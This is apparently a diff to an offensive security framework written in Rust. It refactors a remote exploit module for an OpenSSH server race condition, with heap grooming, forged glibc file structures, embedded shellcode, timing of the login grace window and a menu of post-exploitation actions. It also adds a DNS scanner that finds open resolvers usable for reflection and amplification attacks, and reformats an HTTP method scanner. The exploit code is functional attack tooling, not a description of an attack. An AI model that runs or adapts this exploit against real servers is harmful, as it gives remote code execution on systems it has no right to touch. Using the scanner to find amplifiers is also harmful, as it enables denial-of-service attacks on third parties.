@@ -17,4 +17,4 @@ pub mod palo_alto;
 pub mod roundcube;
 pub mod flowise;
 pub mod http2;
-
+pub mod jenkins;

src/modules/exploits/ssh/opensshserver_9_8p1race_condition.rs

@@ -4,7 +4,7 @@ use anyhow::{Result, bail, Context};
 use colored::*;
 use tokio::io::{AsyncReadExt, AsyncWriteExt};
 use tokio::net::TcpStream;
-use tokio::time::{sleep, timeout, Duration, Instant};
+use tokio::time::{sleep, Duration, Instant};
 use tokio::sync::Semaphore;
 use futures_util::stream::{FuturesUnordered, StreamExt};
 
@@ -33,22 +33,27 @@ fn chunk_align(s: usize) -> usize {
 fn create_fake_file_structure(buf: &mut [u8], glibc_base: u64) {
     buf.fill(0);
     let len = buf.len();
+    
+    if len > 0x30 + 8 {
+        buf[0x30..0x30 + 8].copy_from_slice(&0x61u64.to_le_bytes());
+    }
+    
     if len >= 16 {
         buf[len - 16..len - 8].copy_from_slice(&(glibc_base + FAKE_VTABLE_OFFSET).to_le_bytes());
         buf[len - 8..len].copy_from_slice(&(glibc_base + FAKE_CODECVT_OFFSET).to_le_bytes());
     }
-    if len > 0x30 + 8 {
-        buf[0x30..0x30 + 8].copy_from_slice(&0x61u64.to_le_bytes());
-    }
 }
 
 fn create_public_key_packet(packet: &mut [u8], glibc_base: u64) {
     packet.fill(0);
+    
     packet[..8].copy_from_slice(b"ssh-rsa ");
+    
     let shell_offset = chunk_align(4096) * 13 + chunk_align(304) * 13;
     if shell_offset + SHELLCODE.len() <= packet.len() {
         packet[shell_offset..shell_offset + SHELLCODE.len()].copy_from_slice(SHELLCODE);
     }
+    
     for i in 0..27 {
         let pos = chunk_align(4096) * (i + 1) + chunk_align(304) * i;
         if pos + chunk_align(304) <= packet.len() {
@@ -58,12 +63,13 @@ fn create_public_key_packet(packet: &mut [u8], glibc_base: u64) {
 }
 
 async fn send_packet(stream: &mut TcpStream, packet_type: u8, data: &[u8]) -> Result<()> {
-    let len = data.len() + 5;
-    let mut packet_data = vec![0u8; len];
-    packet_data[0..4].copy_from_slice(&(len as u32).to_be_bytes());
-    packet_data[4] = packet_type;
-    packet_data[5..].copy_from_slice(data);
-    stream.write_all(&packet_data).await?;
+    let packet_len = (data.len() + 5) as u32;
+    
+    stream.write_u32(packet_len).await?;
+    stream.write_u8(packet_type).await?;
+    stream.write_all(data).await?;
+    stream.flush().await?;
+    
     Ok(())
 }
 
@@ -123,6 +129,7 @@ async fn setup_connection(ip: &str, port: u16) -> Result<TcpStream> {
 
 async fn send_ssh_version(stream: &mut TcpStream) -> Result<()> {
     stream.write_all(b"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n").await?;
+    stream.flush().await?;
     Ok(())
 }
 
@@ -167,65 +174,84 @@ async fn perform_ssh_handshake(stream: &mut TcpStream) -> Result<()> {
 }
 
 async fn prepare_heap(stream: &mut TcpStream, glibc_base: u64) -> Result<()> {
-    for i in 0..10 {
+    for _ in 0..10 {
         let tcache_chunk = vec![b'A'; 64];
-        send_packet(stream, 5, &tcache_chunk).await.with_context(|| format!("Prepare heap: tcache_chunk {}", i))?;
+        send_packet(stream, 5, &tcache_chunk).await?;
     }
-    for i in 0..27 {
+    
+    for _ in 0..27 {
         let large_hole = vec![b'B'; 8192];
+        send_packet(stream, 5, &large_hole).await?;
+        
         let small_hole = vec![b'C'; 320];
-        send_packet(stream, 5, &large_hole).await.with_context(|| format!("Prepare heap: large_hole {}", i))?;
-        send_packet(stream, 5, &small_hole).await.with_context(|| format!("Prepare heap: small_hole {}", i))?;
+        send_packet(stream, 5, &small_hole).await?;
     }
-    for i in 0..27 {
+    
+    for _ in 0..27 {
         let mut fake = vec![0u8; 4096];
         create_fake_file_structure(&mut fake, glibc_base);
-        send_packet(stream, 5, &fake).await.with_context(|| format!("Prepare heap: fake_file_structure {}", i))?;
+        send_packet(stream, 5, &fake).await?;
     }
+    
     let large_fill = vec![b'E'; MAX_PACKET_SIZE - 1];
-    send_packet(stream, 5, &large_fill).await.context("Prepare heap: large_fill")?;
+    send_packet(stream, 5, &large_fill).await?;
+    
     Ok(())
 }
 
 async fn measure_response_time(stream: &mut TcpStream, error_type: u8) -> Result<f64> {
-    let error_packet_data = if error_type == 1 {
-        b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3".to_vec()
+    let error_packet_data: &[u8] = if error_type == 1 {
+        b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3"
     } else {
-        b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9".to_vec()
+        b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9"
     };
+    
     let start = Instant::now();
-    send_packet(stream, 50, &error_packet_data).await?;
+    send_packet(stream, 50, error_packet_data).await?;
+    
     let mut buf = [0u8; 1024];
-    let _ = stream.read(&mut buf).await;
+    let _ = recv_retry(stream, &mut buf).await;
+    
     Ok(start.elapsed().as_secs_f64())
 }
 
 async fn time_final_packet(stream: &mut TcpStream) -> Result<f64> {
-    let t1 = measure_response_time(stream, 1).await.context("Measuring time for packet 1")?;
-    let t2 = measure_response_time(stream, 2).await.context("Measuring time for packet 2")?;
-    Ok(t2 - t1)
+    let t1 = measure_response_time(stream, 1).await?;
+    let t2 = measure_response_time(stream, 2).await?;
+    let parsing_time = t2 - t1;
+    
+    Ok(parsing_time)
 }
 
 async fn attempt_race_condition(mut stream: TcpStream, parsing_time: f64, glibc_base: u64) -> Result<bool> {
-    let mut public_key_packet_data = vec![0u8; MAX_PACKET_SIZE];
-    create_public_key_packet(&mut public_key_packet_data, glibc_base);
-    stream.write_all(&public_key_packet_data[..public_key_packet_data.len() - 1]).await?;
-
-    let calculated_wait_time = LOGIN_GRACE_TIME - parsing_time - 0.001;
-    if calculated_wait_time < 0.0 {
-        println!("{}", format!("[!] Warning: Calculated wait time is negative ({:.4}s). Clamping to 0.", calculated_wait_time).yellow());
+    let mut final_packet = vec![0u8; MAX_PACKET_SIZE];
+    create_public_key_packet(&mut final_packet, glibc_base);
+    
+    let to_send = final_packet.len() - 1;
+    stream.write_all(&final_packet[..to_send]).await?;
+    stream.flush().await?;
+    
+    let wait_time = LOGIN_GRACE_TIME - parsing_time - 0.001;
+    if wait_time > 0.0 {
+        sleep(Duration::from_secs_f64(wait_time)).await;
     }
-    let wait_time_duration = Duration::from_secs_f64(calculated_wait_time.max(0.0));
-    sleep(wait_time_duration).await;
-
-    stream.write_all(&public_key_packet_data[public_key_packet_data.len() - 1..]).await?;
-    let mut buf = [0u8; 1024];
-    match timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
-        Ok(Ok(n)) if n > 0 && !buf[..n.min(8)].starts_with(b"SSH-2.0-") => Ok(true),
-        Ok(Ok(0)) => Ok(true),
+    
+    stream.write_all(&final_packet[to_send..]).await?;
+    stream.flush().await?;
+    
+    let mut response = [0u8; 1024];
+    match tokio::time::timeout(Duration::from_secs(2), stream.read(&mut response)).await {
+        Ok(Ok(n)) if n == 0 => Ok(true),
+        Ok(Ok(n)) if n > 0 => {
+            if !response[..n.min(8)].starts_with(b"SSH-2.0-") {
+                Ok(true)
+            } else {
+                Ok(false)
+            }
+        }
         Ok(Ok(_)) => Ok(false),
         Ok(Err(_)) => Ok(true),
-        Err(_) => Ok(true), // Timeout might indicate success
+        Err(_) => Ok(true),
     }
 }
 
@@ -253,33 +279,9 @@ fn get_postex_command(action: u8) -> String {
     }
 }
 
-async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
+async fn execute_exploit_logic(target_ip: String, port_num: u16, mode_choice: u8, num_attempts_per_base: usize) -> Result<()> {
     println!("{}", format!("[*] Target: {}:{}", target_ip, port_num).cyan().bold());
-
-    print_post_actions();
-    print!("{}", "Select post-ex action [1-4, default 4]: ".cyan().bold());
-    std::io::stdout().flush().ok();
-    let mut choice_str = String::new();
-    std::io::stdin().read_line(&mut choice_str).ok();
-    let mode_choice: u8 = choice_str.trim().parse().unwrap_or(4);
-
-    let num_attempts_per_base: usize;
-    loop {
-        print!("{}", "Enter the number of attempts per GLIBC base: ".cyan().bold());
-        std::io::stdout().flush().context("Failed to flush stdout for attempts input")?;
-        let mut attempts_str = String::new();
-        std::io::stdin().read_line(&mut attempts_str).context("Failed to read number of attempts")?;
-        match attempts_str.trim().parse::<usize>() {
-            Ok(num) if num > 0 => {
-                num_attempts_per_base = num;
-                break;
-            }
-            _ => {
-                println!("{}", "[!] Invalid input. Please enter a positive integer for the number of attempts.".yellow());
-            }
-        }
-    }
-
+    
     let postex_cmd = get_postex_command(mode_choice);
     let semaphore = Arc::new(Semaphore::new(CONCURRENCY));
     let mut tasks: FuturesUnordered<tokio::task::JoinHandle<anyhow::Result<bool>>> = FuturesUnordered::new();
@@ -295,7 +297,6 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
     println!("{}", format!("[*] Total GLIBC bases to check: {}", glibc_bases.len()).cyan());
     println!("{}", format!("[*] Attempts per GLIBC base: {}", num_attempts_per_base).cyan());
 
-
     for glibc_base_addr in glibc_bases {
         for attempt_num in 0..num_attempts_per_base {
             let ip_clone = target_ip.clone();
@@ -305,25 +306,23 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
             let permit = sem_clone.acquire_owned().await.context("Failed to acquire semaphore permit")?;
             tasks.push(tokio::spawn(async move {
                 let _permit = permit;
+                
                 let mut stream = match setup_connection(&ip_clone, port_num).await {
                     Ok(s) => s,
-                    Err(_e) => {
-                        return Ok(false);
-                    }
+                    Err(_) => return Ok(false),
                 };
 
-                if let Err(_e) = perform_ssh_handshake(&mut stream).await {
+                if perform_ssh_handshake(&mut stream).await.is_err() {
                     return Ok(false);
                 }
-                if let Err(_e) = prepare_heap(&mut stream, glibc_base_addr).await {
+                
+                if prepare_heap(&mut stream, glibc_base_addr).await.is_err() {
                     return Ok(false);
                 }
 
                 let parsing_time = match time_final_packet(&mut stream).await {
                     Ok(pt) => pt,
-                    Err(_e) => {
-                        return Ok(false);
-                    }
+                    Err(_) => return Ok(false),
                 };
 
                 if attempt_race_condition(stream, parsing_time, glibc_base_addr).await.unwrap_or(false) {
@@ -369,6 +368,8 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
                     }
                     return Ok(true);
                 }
+                
+                sleep(Duration::from_millis(100)).await;
                 Ok(false)
             }));
         }
@@ -431,5 +432,29 @@ pub async fn run(target_info: &str) -> anyhow::Result<()> {
         }
     }
 
-    execute_exploit_logic(ip_address, port_num).await
-}
+    print_post_actions();
+    print!("{}", "Select post-ex action [1-4, default 4]: ".cyan().bold());
+    io::stdout().flush().ok();
+    let mut choice_str = String::new();
+    io::stdin().read_line(&mut choice_str).ok();
+    let mode_choice: u8 = choice_str.trim().parse().unwrap_or(4);
+
+    let num_attempts_per_base: usize;
+    loop {
+        print!("{}", "Enter the number of attempts per GLIBC base: ".cyan().bold());
+        io::stdout().flush().context("Failed to flush stdout for attempts input")?;
+        let mut attempts_str = String::new();
+        io::stdin().read_line(&mut attempts_str).context("Failed to read number of attempts")?;
+        match attempts_str.trim().parse::<usize>() {
+            Ok(num) if num > 0 => {
+                num_attempts_per_base = num;
+                break;
+            }
+            _ => {
+                println!("{}", "[!] Invalid input. Please enter a positive integer for the number of attempts.".yellow());
+            }
+        }
+    }
+
+    execute_exploit_logic(ip_address, port_num, mode_choice, num_attempts_per_base).await
+}

src/modules/scanners/dns_recursion.rs

@@ -0,0 +1,635 @@
+use anyhow::{anyhow, Context, Result};
+use colored::*;
+use rand::Rng;
+use std::collections::HashSet;
+use std::fs::File;
+use std::io::{self, BufRead, BufReader, Write};
+use std::net::{IpAddr, SocketAddr, ToSocketAddrs};
+use std::path::Path;
+use std::time::Duration;
+use hickory_client::client::{AsyncClient, ClientHandle};
+use hickory_client::proto::op::ResponseCode;
+use hickory_client::rr::{DNSClass, Name, RecordType};
+use hickory_client::udp::UdpClientStream;
+use hickory_proto::op::Message;
+use hickory_proto::xfer::DnsResponse;
+use tokio::net::UdpSocket;
+
+#[derive(Clone, Debug)]
+struct TargetSpec {
+    input: String,
+    host: String,
+    port: Option<u16>,
+}
+
+/// Scan DNS resolvers for open recursion with improved input validation.
+pub async fn run(initial_target: &str) -> Result<()> {
+    println!("\n=== DNS Recursion & Amplification Scanner ===");
+
+    let mut targets = collect_targets(initial_target)?;
+    if targets.is_empty() {
+        return Err(anyhow!(
+            "No valid targets provided. Supply at least one IP/hostname."
+        ));
+    }
+
+    let needs_default_port = targets.iter().any(|t| t.port.is_none());
+    let default_port = if needs_default_port {
+        prompt_port("Default DNS port for targets without port", 53)?
+    } else {
+        53
+    };
+
+    let default_domain = random_test_domain();
+    let query_name_input = prompt_default("Domain to query", &default_domain)?;
+    let query_name = validate_domain_input(&query_name_input)?;
+
+    let record_input =
+        prompt_default("Record type (A, AAAA, ANY, DNSKEY, TXT, MX)", "ANY")?;
+    let record_type = parse_record_type(&record_input)?;
+
+    println!(
+        "[*] Prepared {} query for {} across {} target(s)",
+        record_type,
+        query_name,
+        targets.len()
+    );
+
+    let name = Name::from_str_relaxed(&query_name)
+        .with_context(|| format!("Invalid domain name '{}'", query_name))?;
+
+    let mut any_success = false;
+    let mut last_error: Option<anyhow::Error> = None;
+
+    for spec in targets.drain(..) {
+        let port = spec.port.unwrap_or(default_port);
+        let display = format_endpoint(&spec.host, port);
+        println!(
+            "\n[*] Processing target {} (input: {})",
+            display.cyan(),
+            spec.input
+        );
+
+        match resolve_target(&spec.host, port).await {
+            Ok((socket_addr, resolved_display)) => {
+                println!("[*] Target resolver: {}", resolved_display);
+                match query_target(socket_addr, &resolved_display, &name, record_type).await {
+                    Ok(()) => any_success = true,
+                    Err(err) => {
+                        eprintln!(
+                            "{}",
+                            format!("[!] Query failed for {}: {}", resolved_display, err).red()
+                        );
+                        last_error = Some(err);
+                    }
+                }
+            }
+            Err(err) => {
+                eprintln!(
+                    "{}",
+                    format!("[!] Failed to resolve {}: {}", spec.input, err).red()
+                );
+                last_error = Some(err);
+            }
+        }
+    }
+
+    if any_success {
+        Ok(())
+    } else {
+        Err(last_error.unwrap_or_else(|| anyhow!("All targets failed.")))
+    }
+}
+
+async fn query_target(
+    socket_addr: SocketAddr,
+    display_target: &str,
+    name: &Name,
+    record_type: RecordType,
+) -> Result<()> {
+    println!(
+        "[*] Sending {} query (timeout 5s) to {}",
+        record_type, display_target
+    );
+
+    let timeout = Duration::from_secs(5);
+    let stream = UdpClientStream::<UdpSocket>::with_timeout(socket_addr, timeout);
+    let (mut client, bg) =
+        AsyncClient::connect(stream).await.context("Failed to initiate DNS client")?;
+    tokio::spawn(bg);
+
+    let response: DnsResponse = client
+        .query(name.clone(), DNSClass::IN, record_type)
+        .await
+        .with_context(|| format!("DNS query to {} failed", display_target))?;
+
+    let (message, _) = response.into_parts();
+    report_result(&message, display_target, record_type);
+
+    Ok(())
+}
+
+fn report_result(message: &Message, display_target: &str, record_type: RecordType) {
+    let recursion_available = message.recursion_available();
+    let recursion_desired = message.recursion_desired();
+    let authoritative = message.authoritative();
+    let truncated = message.truncated();
+    let rcode = message.response_code();
+
+    println!();
+    println!(
+        "{}",
+        format!(
+            "[*] Response code: {:?} | Answers: {} | Authority: {} | Additional: {}",
+            rcode,
+            message.answers().len(),
+            message.name_servers().len(),
+            message.additionals().len()
+        )
+    );
+
+    if truncated {
+        println!("[!] Response was truncated (TC flag set).");
+    }
+
+    println!(
+        "[*] Flags: RD={} RA={} AA={}",
+        recursion_desired, recursion_available, authoritative
+    );
+
+    if recursion_available && rcode != ResponseCode::Refused {
+        println!(
+            "{}",
+            format!(
+                "[+] {} appears to allow recursion (RA flag set) for {} {} queries.",
+                display_target,
+                record_type,
+                if authoritative { "(authoritative data returned)" } else { "" }
+            )
+            .green()
+        );
+        println!(
+            "{}",
+            "    This resolver may be abused for reflection/amplification attacks (ANY/DNSSEC)."
+                .yellow()
+        );
+    } else if recursion_available && rcode == ResponseCode::Refused {
+        println!(
+            "{}",
+            format!(
+                "[-] {} reports recursion available but refused the request (likely ACL protected).",
+                display_target
+            )
+            .yellow()
+        );
+    } else {
+        println!(
+            "{}",
+            format!(
+                "[-] {} does not appear to allow recursion (RA flag unset or query refused).",
+                display_target
+            )
+            .red()
+        );
+    }
+}
+
+fn parse_record_type(input: &str) -> Result<RecordType> {
+    match input.trim().to_uppercase().as_str() {
+        "A" => Ok(RecordType::A),
+        "AAAA" => Ok(RecordType::AAAA),
+        "ANY" => Ok(RecordType::ANY),
+        "DNSKEY" => Ok(RecordType::DNSKEY),
+        "TXT" => Ok(RecordType::TXT),
+        "MX" => Ok(RecordType::MX),
+        other => Err(anyhow!("Unsupported record type '{}'", other)),
+    }
+}
+
+async fn resolve_target(host: &str, port: u16) -> Result<(SocketAddr, String)> {
+    if let Ok(ip) = host.parse::<IpAddr>() {
+        let addr = SocketAddr::new(ip, port);
+        return Ok((addr, format_endpoint(host, port)));
+    }
+
+    let mut addrs_iter = (host, port)
+        .to_socket_addrs()
+        .with_context(|| format!("Unable to resolve '{}:{}'", host, port))?;
+    let addr = addrs_iter
+        .next()
+        .ok_or_else(|| anyhow!("No socket addresses resolved for '{}:{}'", host, port))?;
+    Ok((addr, addr.to_string()))
+}
+
+fn random_test_domain() -> String {
+    let mut rng = rand::rng();
+    let random_label: String = (0..12)
+        .map(|_| {
+            let n = rng.random_range(0..36);
+            if n < 10 {
+                (b'0' + n) as char
+            } else {
+                (b'a' + (n - 10)) as char
+            }
+        })
+        .collect();
+    format!("{}.rustsploit.test", random_label)
+}
+
+fn prompt_default(message: &str, default: &str) -> Result<String> {
+    print!("{} [{}]: ", message, default);
+    io::stdout().flush()?;
+    let mut buf = String::new();
+    io::stdin().read_line(&mut buf)?;
+    let trimmed = buf.trim();
+    if trimmed.is_empty() {
+        Ok(default.to_string())
+    } else if trimmed.len() > 255 {
+        Err(anyhow!("Input too long"))
+    } else {
+        Ok(trimmed.to_string())
+    }
+}
+
+fn prompt_port(message: &str, default: u16) -> Result<u16> {
+    loop {
+        let prompt = format!("{} [{}]: ", message, default);
+        print!("{}", prompt);
+        io::stdout().flush()?;
+        let mut buf = String::new();
+        io::stdin().read_line(&mut buf)?;
+        let trimmed = buf.trim();
+        if trimmed.is_empty() {
+            return Ok(default);
+        }
+        if let Ok(value) = trimmed.parse::<u16>() {
+            if value > 0 {
+                return Ok(value);
+            }
+        }
+        println!("Please provide a valid port between 1 and 65535.");
+    }
+}
+
+fn prompt_line(message: &str) -> Result<String> {
+    print!("{}", message);
+    io::stdout().flush()?;
+    let mut buf = String::new();
+    io::stdin().read_line(&mut buf)?;
+    let trimmed = buf.trim();
+    if trimmed.len() > 255 {
+        return Err(anyhow!("Input too long (max 255 characters)."));
+    }
+    Ok(trimmed.to_string())
+}
+
+fn prompt_yes_no(message: &str, default_yes: bool) -> Result<bool> {
+    let hint = if default_yes { "Y/n" } else { "y/N" };
+    loop {
+        let prompt = format!("{} [{}]: ", message, hint);
+        print!("{}", prompt);
+        io::stdout().flush()?;
+        let mut buf = String::new();
+        io::stdin().read_line(&mut buf)?;
+        let trimmed = buf.trim().to_lowercase();
+        match trimmed.as_str() {
+            "" => return Ok(default_yes),
+            "y" | "yes" => return Ok(true),
+            "n" | "no" => return Ok(false),
+            "stop" => return Ok(false),
+            _ => println!("{}", "Please answer with 'y' or 'n'.".yellow()),
+        }
+    }
+}
+
+fn collect_targets(initial: &str) -> Result<Vec<TargetSpec>> {
+    let mut targets = Vec::new();
+    let mut seen: HashSet<String> = HashSet::new();
+
+    let trimmed_initial = initial.trim();
+    if !trimmed_initial.is_empty() {
+        let added = parse_targets_from_str(trimmed_initial, "cli", &mut seen, &mut targets);
+        if added == 0 && Path::new(trimmed_initial).is_file() {
+            println!(
+                "{}",
+                format!("[*] Loading targets from file '{}'", trimmed_initial).cyan()
+            );
+            match parse_targets_from_file(trimmed_initial, &mut seen, &mut targets) {
+                Ok(count) => {
+                    if count == 0 {
+                        println!("{}", "    No valid targets found in file.".yellow());
+                    } else {
+                        println!(
+                            "{}",
+                            format!(
+                                "    Loaded {} target(s) from '{}'",
+                                count, trimmed_initial
+                            )
+                            .green()
+                        );
+                    }
+                }
+                Err(err) => {
+                    eprintln!(
+                        "{}",
+                        format!(
+                            "    Failed to read '{}': {}",
+                            trimmed_initial, err
+                        )
+                        .red()
+                    );
+                }
+            }
+        }
+    }
+
+    if prompt_yes_no(
+        "Add additional targets manually? (type 'stop' to finish)",
+        targets.is_empty(),
+    )? {
+        loop {
+            let entry = prompt_line("Target (IP/host[:port], 'stop' to finish): ")?;
+            if entry.is_empty() {
+                continue;
+            }
+            if entry.eq_ignore_ascii_case("stop") {
+                break;
+            }
+            add_target_token(&entry, "interactive", &mut seen, &mut targets);
+        }
+    }
+
+    if prompt_yes_no("Load targets from file?", false)? {
+        loop {
+            let path_input = prompt_line("Path to file ('stop' to finish): ")?;
+            if path_input.is_empty() {
+                continue;
+            }
+            if path_input.eq_ignore_ascii_case("stop") {
+                break;
+            }
+            match parse_targets_from_file(&path_input, &mut seen, &mut targets) {
+                Ok(count) => {
+                    if count == 0 {
+                        println!(
+                            "{}",
+                            format!("    No valid targets parsed from '{}'", path_input).yellow()
+                        );
+                    } else {
+                        println!(
+                            "{}",
+                            format!(
+                                "    Loaded {} target(s) from '{}'",
+                                count, path_input
+                            )
+                            .green()
+                        );
+                    }
+                }
+                Err(err) => eprintln!(
+                    "{}",
+                    format!("    Failed to read '{}': {}", path_input, err).red()
+                ),
+            }
+        }
+    }
+
+    Ok(targets)
+}
+
+fn parse_targets_from_str(
+    input: &str,
+    context: &str,
+    seen: &mut HashSet<String>,
+    targets: &mut Vec<TargetSpec>,
+) -> usize {
+    let mut added = 0usize;
+    for token in input
+        .split(|c: char| c == ',' || c.is_ascii_whitespace())
+        .filter_map(|segment| {
+            let trimmed = segment.trim();
+            if trimmed.is_empty() {
+                None
+            } else {
+                Some(trimmed)
+            }
+        })
+    {
+        if add_target_token(token, context, seen, targets) {
+            added += 1;
+        }
+    }
+    added
+}
+
+fn parse_targets_from_file(
+    path: &str,
+    seen: &mut HashSet<String>,
+    targets: &mut Vec<TargetSpec>,
+) -> Result<usize> {
+    let file = File::open(path)
+        .with_context(|| format!("Failed to open target file '{}'", path))?;
+    let reader = BufReader::new(file);
+    let mut added = 0usize;
+
+    for (idx, line) in reader.lines().enumerate() {
+        let line = line?;
+        let content = line.split('#').next().unwrap_or("").trim();
+        if content.is_empty() {
+            continue;
+        }
+        let ctx = format!("file:{}:{}", path, idx + 1);
+        added += parse_targets_from_str(content, &ctx, seen, targets);
+    }
+
+    Ok(added)
+}
+
+fn add_target_token(
+    token: &str,
+    context: &str,
+    seen: &mut HashSet<String>,
+    targets: &mut Vec<TargetSpec>,
+) -> bool {
+    if token.eq_ignore_ascii_case("stop") {
+        return false;
+    }
+
+    match parse_target_spec(token) {
+        Ok(spec) => {
+            let key = format!("{}:{}", spec.host, spec.port.unwrap_or(0));
+            if seen.insert(key) {
+                println!(
+                    "{}",
+                    format!("    [{}] Added target {}", context, spec.input).cyan()
+                );
+                targets.push(spec);
+                true
+            } else {
+                println!(
+                    "{}",
+                    format!("    [{}] Duplicate target '{}' skipped", context, token).dimmed()
+                );
+                false
+            }
+        }
+        Err(err) => {
+            eprintln!(
+                "{}",
+                format!(
+                    "    [{}] Skipping invalid target '{}': {}",
+                    context, token, err
+                )
+                .yellow()
+            );
+            false
+        }
+    }
+}
+
+fn parse_target_spec(token: &str) -> Result<TargetSpec> {
+    let sanitized = sanitize_target_input(token)?;
+    let (host, port) = split_host_port(&sanitized)?;
+    Ok(TargetSpec {
+        input: sanitized.clone(),
+        host: host.to_lowercase(),
+        port,
+    })
+}
+
+fn sanitize_target_input(input: &str) -> Result<String> {
+    let trimmed = input.trim();
+    if trimmed.is_empty() {
+        return Err(anyhow!("Target cannot be empty"));
+    }
+    if trimmed.len() > 255 {
+        return Err(anyhow!(
+            "Target '{}' is too long (maximum 255 characters)",
+            trimmed
+        ));
+    }
+    if !trimmed
+        .chars()
+        .all(|c| c.is_ascii_alphanumeric() || ".-_:[]".contains(c))
+    {
+        return Err(anyhow!(
+            "Target '{}' contains invalid characters. Allowed: A-Z, 0-9, '.', '-', '_', ':', '[', ']'",
+            trimmed
+        ));
+    }
+    Ok(trimmed.to_string())
+}
+
+fn split_host_port(value: &str) -> Result<(String, Option<u16>)> {
+    if value.is_empty() {
+        return Err(anyhow!("Target cannot be empty"));
+    }
+
+    if let Ok(addr) = value.parse::<SocketAddr>() {
+        return Ok((addr.ip().to_string(), Some(addr.port())));
+    }
+
+    if value.starts_with('[') {
+        let end = value
+            .find(']')
+            .ok_or_else(|| anyhow!("Malformed IPv6 target '{}': missing ']'", value))?;
+        let host = value[1..end].to_string();
+        if value.len() == end + 1 {
+            return Ok((host, None));
+        }
+        if !value[end + 1..].starts_with(':') {
+            return Err(anyhow!(
+                "Malformed IPv6 target '{}': expected ':' after ']'",
+                value
+            ));
+        }
+        let port_part = &value[end + 2..];
+        if port_part.is_empty() {
+            return Err(anyhow!("Missing port after IPv6 address in '{}'", value));
+        }
+        let port = port_part
+            .parse::<u16>()
+            .with_context(|| format!("Invalid port '{}' in target '{}'", port_part, value))?;
+        if port == 0 {
+            return Err(anyhow!("Port must be between 1 and 65535"));
+        }
+        return Ok((host, Some(port)));
+    }
+
+    if value.ends_with(':') {
+        return Err(anyhow!(
+            "Invalid target '{}': trailing ':' without port",
+            value
+        ));
+    }
+
+    let colon_count = value.matches(':').count();
+    if colon_count == 1 {
+        let idx = value.rfind(':').unwrap();
+        let host_part = &value[..idx];
+        let port_part = &value[idx + 1..];
+        if host_part.is_empty() {
+            return Err(anyhow!("Host cannot be empty in target '{}'", value));
+        }
+        if !port_part.chars().all(|c| c.is_ascii_digit()) {
+            return Err(anyhow!(
+                "Invalid port '{}' in target '{}'",
+                port_part,
+                value
+            ));
+        }
+        let port = port_part
+            .parse::<u16>()
+            .with_context(|| format!("Invalid port '{}' in target '{}'", port_part, value))?;
+        if port == 0 {
+            return Err(anyhow!("Port must be between 1 and 65535"));
+        }
+        return Ok((host_part.to_string(), Some(port)));
+    }
+
+    if colon_count >= 2 {
+        let ip = value.parse::<IpAddr>().with_context(|| {
+            format!(
+                "Invalid IPv6 address '{}' (use [addr]:port for scoped ports)",
+                value
+            )
+        })?;
+        return Ok((ip.to_string(), None));
+    }
+
+    Ok((value.to_string(), None))
+}
+
+fn format_endpoint(host: &str, port: u16) -> String {
+    match host.parse::<IpAddr>() {
+        Ok(IpAddr::V6(_)) => format!("[{}]:{}", host, port),
+        _ => format!("{}:{}", host, port),
+    }
+}
+
+fn validate_domain_input(input: &str) -> Result<String> {
+    let trimmed = input.trim();
+    if trimmed.is_empty() {
+        return Err(anyhow!("Domain cannot be empty"));
+    }
+    if trimmed.len() > 253 {
+        return Err(anyhow!(
+            "Domain '{}' is too long (maximum 253 characters)",
+            trimmed
+        ));
+    }
+    let without_dot = trimmed.trim_end_matches('.');
+    if without_dot.is_empty() {
+        return Err(anyhow!("Domain cannot be empty"));
+    }
+    if without_dot
+        .chars()
+        .any(|c| !(c.is_ascii_alphanumeric() || c == '.' || c == '-' || c == '_'))
+    {
+        return Err(anyhow!(
+            "Domain '{}' contains invalid characters. Allowed: A-Z, 0-9, '-', '_', '.'",
+            trimmed
+        ));
+    }
+    Ok(without_dot.to_lowercase())
+}

src/modules/scanners/http_method_scanner.rs

@@ -8,14 +8,14 @@ use std::time::Duration;
 
 const METHODS: &[&str] = &[
     "GET",
-    "POST",
-    "HEAD",
-    "OPTIONS",
-    "PUT",
-    "DELETE",
-    "PATCH",
-    "TRACE",
-    "CONNECT",
+"POST",
+"HEAD",
+"OPTIONS",
+"PUT",
+"DELETE",
+"PATCH",
+"TRACE",
+"CONNECT",
 ];
 
 struct MethodResult {
@@ -55,7 +55,7 @@ pub async fn run(initial_target: &str) -> Result<()> {
 
     let use_ports = prompt_bool(
         "Test via specific ports (port tunneling)? (yes/no, default no): ",
-        false,
+                                false,
     )?;
     let ports = if use_ports {
         prompt_ports()?
@@ -65,10 +65,10 @@ pub async fn run(initial_target: &str) -> Result<()> {
 
     let timeout_input = prompt("Request timeout in seconds (default 10): ")?;
     let timeout_secs: u64 = timeout_input
-        .parse()
-        .ok()
-        .filter(|val| *val > 0)
-        .unwrap_or(10);
+    .parse()
+    .ok()
+    .filter(|val| *val > 0)
+    .unwrap_or(10);
 
     let verbose = prompt_bool("Enable verbose output? (yes/no, default no): ", false)?;
     let save_output = prompt_bool("Save results to file? (yes/no, default yes): ", true)?;
@@ -88,11 +88,11 @@ pub async fn run(initial_target: &str) -> Result<()> {
     normalized.sort();
 
     let client = Client::builder()
-        .user_agent("RustSploit-HTTP-Method-Scanner/1.0")
-        .timeout(Duration::from_secs(timeout_secs))
-        .redirect(reqwest::redirect::Policy::limited(5))
-        .build()
-        .context("Failed to build HTTP client")?;
+    .user_agent("RustSploit-HTTP-Method-Scanner/1.0")
+    .timeout(Duration::from_secs(timeout_secs))
+    .redirect(reqwest::redirect::Policy::limited(5))
+    .build()
+    .context("Failed to build HTTP client")?;
 
     let mut all_results = Vec::new();
 
@@ -110,10 +110,10 @@ pub async fn run(initial_target: &str) -> Result<()> {
             let start = std::time::Instant::now();
             let response = if let Some(ref payload) = body {
                 client
-                    .request(method.clone(), target)
-                    .body(payload.clone())
-                    .send()
-                    .await
+                .request(method.clone(), target)
+                .body(payload.clone())
+                .send()
+                .await
             } else {
                 client.request(method.clone(), target).send().await
             };
@@ -126,10 +126,10 @@ pub async fn run(initial_target: &str) -> Result<()> {
                     if verbose {
                         println!(
                             "  [{}] {} -> {} ({:.2?})",
